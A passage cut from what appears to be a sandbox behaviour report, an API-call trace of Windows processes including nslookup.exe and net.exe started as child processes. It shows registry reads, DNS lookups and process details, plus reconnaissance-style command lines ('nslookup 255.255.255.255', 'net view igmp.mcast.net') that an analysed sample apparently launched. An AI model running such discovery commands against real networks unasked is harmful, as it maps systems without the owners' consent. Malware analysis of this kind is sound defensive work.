ResultLength=0xff9a0) returned 0x0 [0051.820] RtlFreeHeap (HeapHandle=0x270000, Flags=0x0, BaseAddress=0x293d90) returned 1 [0051.820] RtlUnicodeStringToAnsiString (in: DestinationString=0xff9b8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0051.820] RtlFreeHeap (HeapHandle=0x270000, Flags=0x0, BaseAddress=0x293980) returned 1 [0051.820] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x400) returned 0x293980 [0051.820] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x400) returned 0x293d90 [0051.821] RtlAnsiStringToUnicodeString (in: DestinationString=0xff9a8, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0051.821] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x293980, Length=0x400, ResultLength=0xff9a0 | out: KeyValueInformation=0x293980, ResultLength=0xff9a0) returned 0xc0000034 [0051.821] RtlFreeHeap (HeapHandle=0x270000, Flags=0x0, BaseAddress=0x293d90) returned 1 [0051.821] RtlFreeHeap (HeapHandle=0x270000, Flags=0x0, BaseAddress=0x293980) returned 1 [0051.821] RtlInitAnsiString (in: DestinationString=0xff9d0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0051.821] RtlAnsiStringToUnicodeString (in: DestinationString=0xff9c0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0051.821] NtOpenKey (in: KeyHandle=0xffaa0, DesiredAccess=0x20019, ObjectAttributes=0xff9e0*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0xffaa0*=0x0) returned 0xc0000034 [0051.821] RtlFreeAnsiString (AnsiString="\\") [0051.821] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x400) returned 0x293980 [0051.821] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x400) returned 0x293d90 [0051.821] RtlAnsiStringToUnicodeString (in: DestinationString=0xff9a8, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0051.821] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x293980, Length=0x400, ResultLength=0xff9a0 | out: KeyValueInformation=0x293980*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0xff9a0) returned 0x0 [0051.821] RtlFreeHeap (HeapHandle=0x270000, Flags=0x0, BaseAddress=0x293d90) returned 1 [0051.821] RtlUnicodeStringToAnsiString (in: DestinationString=0xff9b8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0051.821] RtlFreeHeap (HeapHandle=0x270000, Flags=0x0, BaseAddress=0x293980) returned 1 [0051.821] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x400) returned 0x293980 [0051.821] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x400) returned 0x293d90 [0051.821] RtlAnsiStringToUnicodeString (in: DestinationString=0xff9a8, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0051.821] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x293980, Length=0x400, ResultLength=0xff9a0 | out: KeyValueInformation=0x293980, ResultLength=0xff9a0) returned 0xc0000034 [0051.821] RtlFreeHeap (HeapHandle=0x270000, Flags=0x0, BaseAddress=0x293d90) returned 1 [0051.821] RtlFreeHeap (HeapHandle=0x270000, Flags=0x0, BaseAddress=0x293980) returned 1 [0051.821] gethostname (in: name=0x4b5ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0051.855] free (_Block=0x4b5ed0) [0051.855] malloc (_Size=0x20) returned 0x4b5a50 [0051.856] getenv (_VarName="HOME") returned 0x0 [0051.856] DnsQueryConfigAllocEx () returned 0x1c91620 [0051.895] _vsnprintf (in: _DstBuf=0xff950, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0xef8c8 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0051.895] htons (hostshort=0x1) returned 0x100 [0051.895] htons (hostshort=0x1) returned 0x100 [0051.896] socket (af=2, type=2, protocol=0) returned 0x110 [0051.896] connect (s=0x110, name=0x1c91640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0051.897] send (s=0x110, buf=0xef950*, len=42, flags=0) returned 42 [0051.897] select (in: nfds=272, readfds=0xdf3c0, writefds=0x0, exceptfds=0x0, timeout=0xdf398 | out: readfds=0xdf3c0, writefds=0x0, exceptfds=0x0) returned 1 [0051.897] recv (in: s=0x110, buf=0xdf8b0, len=65536, flags=0 | out: buf=0xdf8b0*) returned 42 [0051.898] closesocket (s=0x110) returned 0 [0051.898] RtlIpv4AddressToStringExA () returned 0xc000000d [0051.898] DnsFreeConfigStructure () returned 0x139d0a01 [0051.898] malloc (_Size=0xc) returned 0x17df80 [0051.898] strcpy_s (in: _Dst=0x17df80, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0051.898] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x29aba0 [0051.898] strcpy_s (in: _Dst=0xff413020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0051.898] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0xff808, nSize=0x0, Arguments=0xff800 | out: lpBuffer="`\x9c*") returned 0x7 [0051.899] fprintf (in: _File=0x7fefdb62ab0, _Format="%-7s %s" | out: _File=0x7fefdb62ab0) returned 16 [0051.899] fprintf (in: _File=0x7fefdb62ab0, _Format="\nAddress:" | out: _File=0x7fefdb62ab0) returned 9 [0051.899] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0051.899] fprintf (in: _File=0x7fefdb62ab0, _Format="%c %s" | out: _File=0x7fefdb62ab0) returned 13 [0051.899] fprintf (in: _File=0x7fefdb62ab0, _Format="\n\n" | out: _File=0x7fefdb62ab0) returned 2 [0051.899] RtlIpv4StringToAddressA () returned 0x0 [0051.899] _vsnprintf (in: _DstBuf=0xff670, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0xef5e8 | out: _DstBuf="252.0.0.224.in-addr.arpa.") returned 25 [0051.899] htons (hostshort=0x2) returned 0x200 [0051.899] htons (hostshort=0x1) returned 0x100 [0051.899] socket (af=2, type=2, protocol=0) returned 0x110 [0051.899] connect (s=0x110, name=0x29abc0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0051.900] send (s=0x110, buf=0xef670*, len=42, flags=0) returned 42 [0051.900] select (in: nfds=272, readfds=0xdf0e0, writefds=0x0, exceptfds=0x0, timeout=0xdf0b8 | out: readfds=0xdf0e0, writefds=0x0, exceptfds=0x0) returned 1 [0052.050] recv (in: s=0x110, buf=0xdf5d0, len=65536, flags=0 | out: buf=0xdf5d0*) returned 99 [0052.052] closesocket (s=0x110) returned 0 [0052.058] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x34, dwLanguageId=0x400, lpBuffer=0xff780, nSize=0x0, Arguments=0xff788 | out: lpBuffer="ð\x8f(") returned 0x39 [0052.060] CharToOemBuffA (in: lpszSrc="*** UnKnown can't find 224.0.0.252: Non-existent domain\r\n", lpszDst=0x288ff0, cchDstLength=0x39 | out: lpszDst="*** UnKnown can't find 224.0.0.252: Non-existent domain\r\n") returned 1 [0052.062] _write (in: _FileHandle=2, _Buf=0x288ff0*, _MaxCharCount=0x39 | out: _Buf=0x288ff0*) returned 57 [0052.069] LocalFree (hMem=0x288ff0) returned 0x0 [0052.072] free (_Block=0x17df80) [0052.073] LocalFree (hMem=0x29aba0) returned 0x0 [0052.073] free (_Block=0x17df30) [0052.073] exit (_Code=0) Thread: id = 363 os_tid = 0xba0 Process: id = "29" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x4a771000" os_pid = "0xba8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0xa5c" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 255.255.255.255" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 365 os_tid = 0xbac [0052.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ef7a0 | out: lpSystemTimeAsFileTime=0x1ef7a0*(dwLowDateTime=0x3461dcb0, dwHighDateTime=0x1d59598)) [0052.719] GetCurrentProcessId () returned 0xba8 [0052.719] GetCurrentThreadId () returned 0xbac [0052.719] GetTickCount () returned 0x114758e [0052.719] QueryPerformanceCounter (in: lpPerformanceCount=0x1ef7a8 | out: lpPerformanceCount=0x1ef7a8*=17295524308) returned 1 [0052.720] GetModuleHandleW (lpModuleName=0x0) returned 0xffd30000 [0052.720] __set_app_type (_Type=0x1) [0052.720] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd409f8) returned 0x0 [0052.720] __getmainargs (in: _Argc=0xffd4aa00, _Argv=0xffd4aa10, _Env=0xffd4aa08, _DoWildCard=0, _StartInfo=0xffd4aa1c | out: _Argc=0xffd4aa00, _Argv=0xffd4aa10, _Env=0xffd4aa08) returned 0 [0052.720] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0052.721] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0052.721] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xffd52e80 | out: lpWSAData=0xffd52e80) returned 0 [0052.727] malloc (_Size=0x40) returned 0x1fdf30 [0052.727] socket (af=2, type=2, protocol=0) returned 0x6c [0052.729] closesocket (s=0x6c) returned 0 [0052.729] RtlIpv4StringToAddressA () returned 0x0 [0052.730] RtlInitAnsiString (in: DestinationString=0x1ef600, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0052.730] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef5f0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0052.730] NtOpenKey (in: KeyHandle=0x1ef6c8, DesiredAccess=0x20019, ObjectAttributes=0x1ef610*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x1ef6c8*=0x6c) returned 0x0 [0052.730] RtlFreeAnsiString (AnsiString="\\") [0052.730] malloc (_Size=0x3200) returned 0x115ed0 [0052.730] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x400) returned 0x3b3990 [0052.730] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x400) returned 0x3b3da0 [0052.730] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef5d8, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0052.730] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x3b3990, Length=0x400, ResultLength=0x1ef5d0 | out: KeyValueInformation=0x3b3990, ResultLength=0x1ef5d0) returned 0xc0000034 [0052.730] RtlFreeHeap (HeapHandle=0x390000, Flags=0x0, BaseAddress=0x3b3da0) returned 1 [0052.730] RtlFreeHeap (HeapHandle=0x390000, Flags=0x0, BaseAddress=0x3b3990) returned 1 [0052.730] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x400) returned 0x3b3990 [0052.730] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x400) returned 0x3b3da0 [0052.730] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef5d8, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0052.730] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x3b3990, Length=0x400, ResultLength=0x1ef5d0 | out: KeyValueInformation=0x3b3990*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x1ef5d0) returned 0x0 [0052.730] RtlFreeHeap (HeapHandle=0x390000, Flags=0x0, BaseAddress=0x3b3da0) returned 1 [0052.730] RtlUnicodeStringToAnsiString (in: DestinationString=0x1ef5e8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0052.730] RtlFreeHeap (HeapHandle=0x390000, Flags=0x0, BaseAddress=0x3b3990) returned 1 [0052.730] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x400) returned 0x3b3990 [0052.730] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x400) returned 0x3b3da0 [0052.730] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef5d8, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0052.730] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x3b3990, Length=0x400, ResultLength=0x1ef5d0 | out: KeyValueInformation=0x3b3990, ResultLength=0x1ef5d0) returned 0xc0000034 [0052.730] RtlFreeHeap (HeapHandle=0x390000, Flags=0x0, BaseAddress=0x3b3da0) returned 1 [0052.730] RtlFreeHeap (HeapHandle=0x390000, Flags=0x0, BaseAddress=0x3b3990) returned 1 [0052.731] RtlInitAnsiString (in: DestinationString=0x1ef600, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0052.731] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef5f0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0052.731] NtOpenKey (in: KeyHandle=0x1ef6d0, DesiredAccess=0x20019, ObjectAttributes=0x1ef610*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x1ef6d0*=0x0) returned 0xc0000034 [0052.731] RtlFreeAnsiString (AnsiString="\\") [0052.731] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x400) returned 0x3b3990 [0052.731] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x400) returned 0x3b3da0 [0052.731] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef5d8, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0052.731] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x3b3990, Length=0x400, ResultLength=0x1ef5d0 | out: KeyValueInformation=0x3b3990*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0x1ef5d0) returned 0x0 [0052.731] RtlFreeHeap (HeapHandle=0x390000, Flags=0x0, BaseAddress=0x3b3da0) returned 1 [0052.731] RtlUnicodeStringToAnsiString (in: DestinationString=0x1ef5e8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0052.731] RtlFreeHeap (HeapHandle=0x390000, Flags=0x0, BaseAddress=0x3b3990) returned 1 [0052.731] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x400) returned 0x3b3990 [0052.731] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x400) returned 0x3b3da0 [0052.731] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef5d8, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0052.731] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x3b3990, Length=0x400, ResultLength=0x1ef5d0 | out: KeyValueInformation=0x3b3990, ResultLength=0x1ef5d0) returned 0xc0000034 [0052.731] RtlFreeHeap (HeapHandle=0x390000, Flags=0x0, BaseAddress=0x3b3da0) returned 1 [0052.731] RtlFreeHeap (HeapHandle=0x390000, Flags=0x0, BaseAddress=0x3b3990) returned 1 [0052.731] gethostname (in: name=0x115ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0052.765] free (_Block=0x115ed0) [0052.765] malloc (_Size=0x20) returned 0x1fdf80 [0052.765] getenv (_VarName="HOME") returned 0x0 [0052.765] DnsQueryConfigAllocEx () returned 0x1c61620 [0053.370] _vsnprintf (in: _DstBuf=0x1ef580, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x1df4f8 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0053.370] htons (hostshort=0x1) returned 0x100 [0053.370] htons (hostshort=0x1) returned 0x100 [0053.372] socket (af=2, type=2, protocol=0) returned 0x110 [0053.372] connect (s=0x110, name=0x1c61640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0053.372] send (s=0x110, buf=0x1df580*, len=42, flags=0) returned 42 [0053.372] select (in: nfds=272, readfds=0x1ceff0, writefds=0x0, exceptfds=0x0, timeout=0x1cefc8 | out: readfds=0x1ceff0, writefds=0x0, exceptfds=0x0) returned 1 [0053.373] recv (in: s=0x110, buf=0x1cf4e0, len=65536, flags=0 | out: buf=0x1cf4e0*) returned 42 [0053.373] closesocket (s=0x110) returned 0 [0053.373] RtlIpv4AddressToStringExA () returned 0xc000000d [0053.373] DnsFreeConfigStructure () returned 0x53ffdf01 [0053.373] malloc (_Size=0xc) returned 0x1fdfb0 [0053.373] strcpy_s (in: _Dst=0x1fdfb0, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0053.373] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x3babb0 [0053.373] strcpy_s (in: _Dst=0xffd53020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0053.373] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x1ef438, nSize=0x0, Arguments=0x1ef430 | out: lpBuffer="p\x9c<") returned 0x7 [0053.374] fprintf (in: _File=0x7fefdb62ab0, _Format="%-7s %s" | out: _File=0x7fefdb62ab0) returned 16 [0053.374] fprintf (in: _File=0x7fefdb62ab0, _Format="\nAddress:" | out: _File=0x7fefdb62ab0) returned 9 [0053.374] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0053.374] fprintf (in: _File=0x7fefdb62ab0, _Format="%c %s" | out: _File=0x7fefdb62ab0) returned 13 [0053.374] fprintf (in: _File=0x7fefdb62ab0, _Format="\n\n" | out: _File=0x7fefdb62ab0) returned 2 [0053.374] RtlIpv4StringToAddressA () returned 0x0 [0053.374] _vsnprintf (in: _DstBuf=0x1ef2a0, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x1df218 | out: _DstBuf="255.255.255.255.in-addr.arpa.") returned 29 [0053.374] htons (hostshort=0x2) returned 0x200 [0053.374] htons (hostshort=0x1) returned 0x100 [0053.374] socket (af=2, type=2, protocol=0) returned 0x110 [0053.374] connect (s=0x110, name=0x3babd0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0053.375] send (s=0x110, buf=0x1df2a0*, len=46, flags=0) returned 46 [0053.375] select (in: nfds=272, readfds=0x1ced10, writefds=0x0, exceptfds=0x0, timeout=0x1cece8 | out: readfds=0x1ced10, writefds=0x0, exceptfds=0x0) returned 1 [0053.375] recv (in: s=0x110, buf=0x1cf200, len=65536, flags=0 | out: buf=0x1cf200*) returned 105 [0053.375] closesocket (s=0x110) returned 0 [0053.375] htons (hostshort=0x100) returned 0x1 [0053.375] htons (hostshort=0x0) returned 0x0 [0053.375] htons (hostshort=0x100) returned 0x1 [0053.375] htons (hostshort=0x0) returned 0x0 [0053.375] htons (hostshort=0x100) returned 0x1 [0053.375] htons (hostshort=0x0) returned 0x0 [0053.376] fputs (in: _Str="255.255.255.255.in-addr.arpa", _File=0x7fefdb62ab0 | out: _File=0x7fefdb62ab0) returned 0 [0053.376] fputc (in: _Ch=10, _File=0x7fefdb62ab0 | out: _File=0x7fefdb62ab0) returned 10 [0053.376] fprintf (in: _File=0x7fefdb62ab0, _Format="\x09primary name server = " | out: _File=0x7fefdb62ab0) returned 23 [0053.376] fputs (in: _Str="localhost", _File=0x7fefdb62ab0 | out: _File=0x7fefdb62ab0) returned 0 [0053.376] fprintf (in: _File=0x7fefdb62ab0, _Format="\n\x09responsible mail addr = " | out: _File=0x7fefdb62ab0) returned 26 [0053.376] fputs (in: _Str="nobody.invalid", _File=0x7fefdb62ab0 | out: _File=0x7fefdb62ab0) returned 0 [0053.376] fprintf (in: _File=0x7fefdb62ab0, _Format="\n\x09serial = %lu" | out: _File=0x7fefdb62ab0) returned 13 [0053.376] sprintf_s (in: _DstBuf=0xffd52138, _DstSize=0x28, _Format="%d hour%s" | out: _DstBuf="1 hour") returned 6 [0053.376] fprintf (in: _File=0x7fefdb62ab0, _Format="\n\x09refresh = %lu (%s)" | out: _File=0x7fefdb62ab0) returned 25 [0053.376] sprintf_s (in: _DstBuf=0xffd52138, _DstSize=0x28, _Format="%d min%s" | out: _DstBuf="20 mins") returned 7 [0053.376] fprintf (in: _File=0x7fefdb62ab0, _Format="\n\x09retry = %lu (%s)" | out: _File=0x7fefdb62ab0) returned 26 [0053.376] sprintf_s (in: _DstBuf=0xffd52138, _DstSize=0x28, _Format="%d day%s" | out: _DstBuf="7 days") returned 6 [0053.376] fprintf (in: _File=0x7fefdb62ab0, _Format="\n\x09expire = %lu (%s)" | out: _File=0x7fefdb62ab0) returned 27 [0053.376] sprintf_s (in: _DstBuf=0xffd52138, _DstSize=0x28, _Format="%d hour%s" | out: _DstBuf="3 hours") returned 7 [0053.376] fprintf (in: _File=0x7fefdb62ab0, _Format="\n\x09default TTL = %lu (%s)\n" | out: _File=0x7fefdb62ab0) returned 32 [0053.379] htons (hostshort=0x100) returned 0x1 [0053.379] htons (hostshort=0x0) returned 0x0 [0053.379] htons (hostshort=0x100) returned 0x1 [0053.379] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x32, dwLanguageId=0x400, lpBuffer=0x1ef3b0, nSize=0x0, Arguments=0x1ef3b8 | out: lpBuffer="Ъ;") returned 0x66 [0053.379] CharToOemBuffA (in: lpszSrc="*** No internal type for both IPv4 and IPv6 Addresses (A+AAAA) records available for 255.255.255.255\r\n", lpszDst=0x3baad0, cchDstLength=0x66 | out: lpszDst="*** No internal type for both IPv4 and IPv6 Addresses (A+AAAA) records available for 255.255.255.255\r\n") returned 1 [0053.379] _write (in: _FileHandle=2, _Buf=0x3baad0*, _MaxCharCount=0x66 | out: _Buf=0x3baad0*) returned 102 [0053.380] LocalFree (hMem=0x3baad0) returned 0x0 [0053.380] free (_Block=0x1fdfb0) [0053.380] LocalFree (hMem=0x3babb0) returned 0x0 [0053.380] free (_Block=0x1fdf30) [0053.380] exit (_Code=0) Thread: id = 366 os_tid = 0xbbc Process: id = "30" image_name = "net.exe" filename = "c:\\windows\\system32\\net.exe" page_root = "0x4a977000" os_pid = "0xbc4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0xa5c" cmd_line = "C:\\Windows\\system32\\\\net.exe view igmp.mcast.net" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 368 os_tid = 0xbc8 Thread: id = 405 os_tid = 0x240 Process: id = "31" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x329ef000" os_pid = "0x808" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceAndNoImpersonation" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\FDResPub" [0xa], "NT SERVICE\\FontCache" [0xe], "NT SERVICE\\Mcx2Svc" [0xa], "NT SERVICE\\QWAVE" [0xa], "NT SERVICE\\SCardSvr" [0xa], "NT SERVICE\\SensrSvc" [0xa], "NT SERVICE\\SSDPSRV" [0xa], "NT SERVICE\\TBS" [0xa], "NT SERVICE\\upnphost" [0xa], "NT SERVICE\\wcncsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00058d13" [0xc000000f], "LOCAL" [0x7] Thread: id = 385 os_tid = 0x508 Thread: id = 386 os_tid = 0x4a4 Thread: id = 387 os_tid = 0x41c Thread: id = 388 os_tid = 0x56c Thread: id = 392 os_tid = 0x844 Thread: id = 393 os_tid = 0x834 Process: id = "32" image_name = "sppsvc.exe" filename = "c:\\windows\\system32\\sppsvc.exe" page_root = "0x29ef9000" os_pid = "0x830" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\sppsvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\sppsvc" [0xe], "NT AUTHORITY\\Logon Session 00000000:000596ab" [0xc000000f], "LOCAL" [0x7] Thread: id = 394 os_tid = 0x82c Thread: id = 395 os_tid = 0x828 Thread: id = 396 os_tid = 0x824 Thread: id = 397 os_tid = 0x820 Thread: id = 399 os_tid = 0x84c Thread: id = 418 os_tid = 0x354 Process: id = "33" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x25fe000" os_pid = "0x310" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k secsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\WinDefend" [0xe], "NT AUTHORITY\\Logon Session 00000000:00059a54" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 400 os_tid = 0x7a0 Thread: id = 402 os_tid = 0x6e4 Thread: id = 403 os_tid = 0x440 Thread: id = 421 os_tid = 0x660 Process: id = "34" image_name = "logonui.exe" filename = "c:\\windows\\system32\\logonui.exe" page_root = "0x5f18000" os_pid = "0x204" os_integrity_level = "0x4000" os_privileges = 